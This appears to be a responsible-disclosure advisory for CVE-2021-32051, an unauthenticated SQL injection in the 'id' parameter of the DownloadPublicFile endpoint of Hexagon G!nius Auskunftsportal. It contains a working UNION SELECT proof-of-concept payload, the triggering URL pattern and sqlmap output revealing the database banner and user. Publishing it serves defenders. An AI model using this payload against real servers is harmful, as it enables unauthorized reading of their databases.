Wednesday, May 12, 2021

Hexagon G!nius Auskunftsportal SQL Injection

CVE-2021-32051 Hexagon G!nius Auskunftsportal before 5.0.0.0 allows SQL injection via the GiPWorkflow/Service/DownloadPublicFile id parameter.

[Additional Information]
PoC Payload: id=test' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CHR(113)||
CHR(107)||CHR(112)||CHR(122)||CHR(113)||CHR(107)||CHR(71)||CHR(98)||CHR(88)||CHR(104)||CHR(102)||CHR(99)||
CHR(67)||CHR(113)||CHR(109)||CHR(69)||CHR(110)||CHR(67)||CHR(76)||CHR(103)||CHR(84)||CHR(83)||CHR(109)||
CHR(121)||CHR(84)||CHR(73)||CHR(116)||CHR(79)||CHR(103)||CHR(87)||CHR(84)||CHR(120)||CHR(119)||CHR(75)||
CHR(76)||CHR(114)||CHR(120)||CHR(103)||CHR(85)||CHR(87)||CHR(112)||CHR(111)||CHR(70)||CHR(108)||CHR(73)||
CHR(113)||CHR(112)||CHR(113)||CHR(120)||CHR(113),NULL FROM DUAL-- LShX

Result:
====
back-end DBMS: Oracle
banner: 'Oracle Database 19c Standard Edition 2 Release 19.0.0.0.0 - Production'
current user: 'IPA_ADMIN'
current database (equivalent to schema on Oracle): 'IPA_ADMIN'
current user is DBA: False
database management system users [18]:
====


Impact:
Complete compromise of the database's data integrity.

Discovery:
1. Discovered manually
2. Exploited via sqlmap
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[Vulnerability Type]
SQL Injection
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[Vendor of Product]
Hexagon AG
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[Affected Product Code Base]
G!nius Auskunftsportal - 5.0.0.0 (fixed)
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[Affected Component]
DownloadPublicFile component
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[Attack Type]
Remote
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[Impact Information Disclosure]
true
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[Attack Vectors]
The web application has a function ("DownloadPublicFile") which facilitates downloads.
The "id" parameter (used to specify which file is to be downloaded) is vulnerable to SQL injection.
This SQL injection attack surface allows the Oracle database backend to be accessed and read without authentication by using a "UNION SELECT" payload.
Accessing the following URL will trigger an Oracle error message:
https://[affected site root]/GiPWorkflow/Service/DownloadPublicFile?id=DS'
The apostrophe at the end (Unicode U+0027) interrupts the application's hard-coded SQL query.
At this point a "UNION SELECT" payload can be used to access any data within the database.
------------------------------------------
[Has vendor confirmed or acknowledged the vulnerability?]
true
A patch has been developed, released and installed to all known instances of the vulnerability a full six months prior to public disclosure.
------------------------------------------
[Discoverer]
Marcel Keiffenheim
------------------------------------------
[Reference]
https://www.hexagonsafetyinfrastructure.com/products/utilities-and-communications-products/advanced-utility-gis/hexagon-ginius
 

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